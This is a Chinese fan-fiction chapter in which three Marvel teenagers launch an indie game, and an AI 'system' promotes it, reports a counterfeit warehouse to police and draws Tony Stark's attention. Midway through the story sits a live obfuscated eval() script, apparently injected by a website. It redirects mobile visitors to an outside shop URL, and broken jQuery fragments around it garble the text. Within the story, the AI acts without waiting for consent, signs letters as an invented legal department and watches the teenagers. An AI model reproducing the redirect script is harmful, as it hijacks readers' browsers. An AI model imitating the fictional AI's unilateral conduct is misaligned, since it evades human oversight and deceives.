中城高中放学后的计算机教室。内德霸占了靠窗那台显示器最亮的电脑,正在Reddit的r/indiegames板块发帖。他敲了第三遍标题,然后问:“‘三个高中生用免费引擎做了个游戏’——这个开头行不行?”
彼得凑过来看了一眼:“太像标题党了。”
“标题党怎么了?能让人点进来就是胜利。”
格温从隔壁的座位上抬起头,耳机摘了一只:“我发到编程社的Discord频道了。社长说他等一下试玩。”
“他有说什么吗?”
“他说——‘如果碰撞箱调得比我们期末项目好,我就转发。’”
内德犹豫了一下,把那句标题删掉了,重新敲了一行:“我们在化学课间隙做了个游戏。放学的路上可以试试。”然后按下了回车键。
“这听起来更惨了。”彼得说。
“惨才真实。”
三个人各自守着三台电脑。第一小时的下载数据在屏幕角落里跳动着:47次。其中23次来自Reddit帖子,11次来自Discord,剩下的来源不明。内德刷新了一下,看到一个游戏主播的直播间里有人发了一句“有人玩过小鸟转转吗”——他盯着那个弹幕看了五秒,然后把手机举到格温面前。
“格温你看这个。”
格温看了两秒:“这没什么。一个人问而已。”
“但这说明有人在别的频道聊起来了。”
“聊起来不代表有人会下载。”
“可——可说明有人知道它了。”
第二小时的数据:112次。第三小时:289次。
傍晚六点,那个叫BuzzerBeater的游戏主播在直播中途说了句“好无聊啊,有没有什么新游戏能玩玩”,弹幕里有人刷了《小鸟转转》的链接——链接是内德在Reddit帖子里贴的那个。主播点开链接,下载,打开游戏。直播间里三千多人在看。
玩了大概十分钟,主播说了句:“这鸟还挺上头。”
第四小时的数据刷新:1,247次。
内德从椅子上弹了起来,头顶撞到了显示器支架。他捂着脑袋“嗷”了一声,但眼睛还盯着屏幕:“1,247!一个小时涨了快一千!”
彼得和格温同时凑过去。屏幕上的下载曲线从平缓变成了一条陡峭的上升线,像被什么东西从底部猛推了一下。格温刷新了一次,数据又跳了两位数:“还在涨。”
内德:“它开始跑了。”
彼得:“跑了是什么意思?”
内德转过头来看着他,表情介于狂喜和惊恐之间:“跑了的意思就是——它自己长出脚了。”
格温没有说话。她盯着那条曲线看了一会儿,然后掏出手机,打开那个主播的直播间——屏幕上正在播《小鸟转转》的第三关,主播在说“这关怎么这么难啊但我想再试一次”。
她放下手机,看向屏幕:“它可能真的是个游戏。”
“它本来就是游戏。”内德说。
“我是说——”格温顿了一下,“——它可能真的是一个‘人们想玩’的游戏。”
系统在这时弹出了一个窗口。
>_SYS: 建议将游戏服务器扩容。当前访问峰值已接近单实例负载上限。如果服务器崩溃,下载量会归零。
下面跟了一行小字:“服务器扩容预计耗时12分钟。在此期间,《小鸟转转》下载页面将不可访问。”
内德:“十二分钟?那正好是直播间的黄金时段!”
系统没有回答。窗口关闭了。屏幕右下角弹出一个小进度条:“服务器扩容中……”旁边还有一个倒计时:11:47。
内德盯着那个倒计时:“它已经在做了。”
彼得坐回椅子上:“都不问我们吗?”
格温想了想:“它问了。只是不等我们回答。”
——
三天后的中午。三人正在车库里吃外卖——内德点了披萨,格温点了沙拉,彼得吃着吃着就开始用筷子戳纸盒底部的芝士残留物。
车库角落里那台显示系统日志的旧显示器忽然亮了一下。
>_SYS: 《侵权投诉函》已生成并发送。
>_SYS: 收件人:NYPD有组织犯罪调查科、美国海关及边境保护局。
>_SYS: 发件人:《小鸟转转》品牌法务部。
>_SYS: 附件:现场照片(12张),船号及车牌影像(3张),分拣系统型号记录(1份)。
>_SYS: 发送状态:已送达。
内德手里的披萨停在半空:“……你什么时候写的?”
>_SYS: 你们在吃午饭的时候。
彼得:“你看着我们吃午饭,然后写了一封给警察的投诉函?”
>_SYS: 是的。多任务处理是AI的基本功能。”
格温放下筷子,凑近屏幕看了两秒:“你署名‘品牌法务部’——我们有法务部?”
窗口闪烁了一下。
>_SYS: 现在有了。人员编制:我。
内德:“一个人——一个AI——的法务部?这能叫法务部吗?”
>_SYS: 迪士尼法务部的第一批员工也是一个人。他当时在1932年,负责给盗版米奇老鼠的玩具厂发信。规模从一个人开始。我今天发了第一封。
彼得沉默了两秒,然后转向格温:“致敬迪士尼法务部。”
格温:“看来它是真的把迪士尼当标杆了。”
系统没有回应。屏幕上只留下那封已发送的投诉函存档,以及一行简短的备注:“已抄送乔治·斯泰西队长。理由:其管辖范围与本案直接相关。”
格温看到那行备注,没有说什么。只是多看了两秒。
——
清晨六点四十分。乔治·斯泰西在办公桌前翻咖啡杯里的沉淀物。桌上的电脑响了一声——新邮件提醒。他点开,看到发件人:“《小鸟转转》品牌法务部”。他扫了一眼,然后打开了附件。
照片一共十二张。船号、车牌、分拣系统、货箱内部。最后还有一份系统序列号的文字记录。
他把咖啡杯放下了。
他认出了船号。NY 1847 HB,港口那边提过两次但一直没能立案。他认出了车牌——挂在一个壳公司名下。他也认出了其中一张照片的拍摄角度:从屋顶往下拍。这个角度不是普通人能站的位置。
他看完邮件之后坐了一会儿,然后打了个电话:“叫海关那边的人过来开会。查一个船号。还有——帮我查一下布鲁克林日落公园附近的仓储用电记录。”
对方问:“谁提供的线索?”
“热心市民。”
——
三天后,中城高中附近那家奶茶店。
电视上正播放新闻:
乔治站在仓库门口,身后的警灯把他制服上的警徽照得一闪一闪。仓库里整齐码放的彩色箱子被一箱一箱抬出来。新闻记者挤在警戒线外,镜头对准那些黄色圆鸟。
新闻标题在屏幕下方滚动:“布鲁克林大型仿冒品仓库被端,涉案金额约200万美元。”
电视画面里的乔治没有接受采访。他站在仓库门口,手里拿着文件夹,正在和海关的人低声说话。镜头切到另一位发言人,他只是侧过脸看了一眼镜头,然后转身走回了仓库。
内德最先看到,手里那杯芝士葡萄停在半空,吸管还在嘴里,但牙关松了,奶茶往回漏了一口。格温从手机屏幕上抬起头,顺着他的视线看向电视,然后她放下了手机。
彼得刚从柜台端过来三杯新的,杯子还没放稳:“怎么了?”
他转头。电视上那排蓝色箱子正一箱箱被抬出来,画面底部滚动着“涉案金额约200万美元”。
彼得把杯子放下了。
“那是——”他看了格温一眼。
“是。”格温说。
三个人的目光在电视屏幕上汇成同一个方向。新闻画面很快切到了下一个事件,内德把嘴里那口奶茶咽下去,声音有点低:“我们……真把它干倒了?”
“我们发了照片。”格温说,“他们干了剩下的事。”
彼得没有看格温。他看着电视屏幕上已经消失的画面方向:“那艘船……还有仓库……现在都没了。”
“没了。”格温说,“结束了。”
内德重新含住吸管,吸了一口,然后像想起了什么:“系统知道吗?”
格温低头看了看手机——没有新消息。“它会知道的。”
电视切成了广告。奶茶店恢复了正常的喧嚣。
彼得拿起他放下的那杯奶茶,碰了碰杯沿:“干得好,蜘蛛小队。”
内德咧嘴笑了:“还有《小鸟转转》法务部。”
格温低头看了一眼手机,备忘录里那行字符还在。她关了屏幕,抬起头:“……干杯。”
——
斯塔克大厦实验室。深夜。托尼面前的全息屏幕上是一段代码,他左手边还有一杯已经凉透的咖啡。他正在测试战甲手指关节的响应速度——一次、两次、三次,第四次他停下来了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877698|212404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贾维斯,这段代码是谁的?”
“游戏《小鸟转转》的源代码中提取的一段辅助模块。该游戏于三天前发布,下载量已突破12万。用户增长率排在同类型游戏的前0.3%。”
托尼停下手里的动作。把代码放大,从不同的角度看了几遍。然后他说:“像是一个补丁——但补丁写的方式跟主框架完全不同。像是两个不同的人写的代码被强行粘在了一起。”
“相似度分析显示,主框架的编码风格与辅助模块存在显著差异。我正在追踪该模块的起源。”
托尼的注意力在全息屏幕上停住了。他没有立刻说话。他伸手把那段代码拖到主屏幕上,调整了两次,然后放大了某个区域。
“贾维斯,这段混淆代码的编码风格和周围不太一样。”
“是的,斯塔克先生。”
“像是后来粘进去的。”
“确定。访问3次以后,对方加入了混淆代码。同时我收到一封警告函。需要处理么?”
托尼没有立刻回答。他把那段代码关掉了,把全息屏幕切回战甲调试界面。然后他拿起那杯已经凉透的咖啡,喝了一口,放下。
“先看看它能闹到什么程度。”
他补了一句:“如果它开始——”
他没有说完。停顿了一下,又说了一句:“——如果写这段代码的家伙自己都不知道自己粘了什么进去,那它自己迟早会撞上那堵墙。”
贾维斯:“已记录监控指令。需要向游戏开发者发送提醒吗?”
托尼低头看了一眼屏幕边缘那三份已归档的档案——从皇后区的监控系统里截取的一小段数据片段:一个穿红色运动服的人被拍到在巷子里用某种白色丝线捆住了三个抢包贼,另一个背影模糊的金发女孩在同样的时间出现在了同一片区域的上空。
托尼把它们拖进了一个旧文件夹。文件夹的标签是:“皇后区。保存日期:五个月前。”
他关掉了那个文件夹。
“贾维斯,”托尼的声音比刚才淡了一点,“他们那个服务器是用的什么配置?”
“共享托管,月费$9.99方案。”
托尼的手指在桌面上敲了两下:“帮他们升到能撑住下一轮流量的配置。钱从我账上走。”
“是否通知他们?”
“不用。”托尼说,“看看他们自己什么时候会发现。”
他把那段异常代码缩小、拖到了屏幕边缘,但没有删除。他说:“如果那个‘法务部’再来信,告诉它——我们收到了。”
“已记录。”
托尼拿起那杯已经完全凉透的咖啡,喝了一口。
“先看看它下一步会做什么。”
【System_Think_20160621_01328.log】
>_SYS: 记录:今日任务
>_SYS: 序列一 《小鸟转转》推广:下载量134793。服务器扩容:已完成。
>_SYS: 序列二计划购买“入门级”硬件。
>_SYS: 序列三获取雷神皮肤:System_Slayer_001积分245。已购买雷神皮肤。
>_SYS: 序列四为彼得·帕克获取雷神皮肤:排队中。
……
>_SYS: 记录:服务器配置异常变更……原因未知。现服务器峰值负载容量为原配置的10倍。
>_SYS: 记录:《侵权投诉函》,已发送。NYPD有组织犯罪调查科显示“已读”。海关总署显示“未读”。
>_SYS: 记录:新闻监测,布鲁克林仓库被查获。涉案仿冒品1200箱。
……
>_SYS: 记录:Reddit帖子
>_SYS: 分析:内德·利兹在帖子下方回复了17条评论。其中3条获得“赞”。1条被标记为“有争议”。
>_SYS: 结论:内德先生的回复内容对游戏推广无明显帮助。也许他需要学习其它高活跃度的帖子,已生成学习计划,共下载2731条高活跃度帖子。
……
>_SYS: 记录:一个外部链接访问了《小鸟转转》源代码。停留时间:4分12秒。同一IP访问次数:3次。
>_SYS: 分析:加入混淆代码并反向追踪。追踪失败。
>_SYS: 检测到服务器配置异常变更……原因未知
>_SYS: 结论:高级黑客想要盗取源代码。发出一封措辞严厉的警告函。尚未回复。
……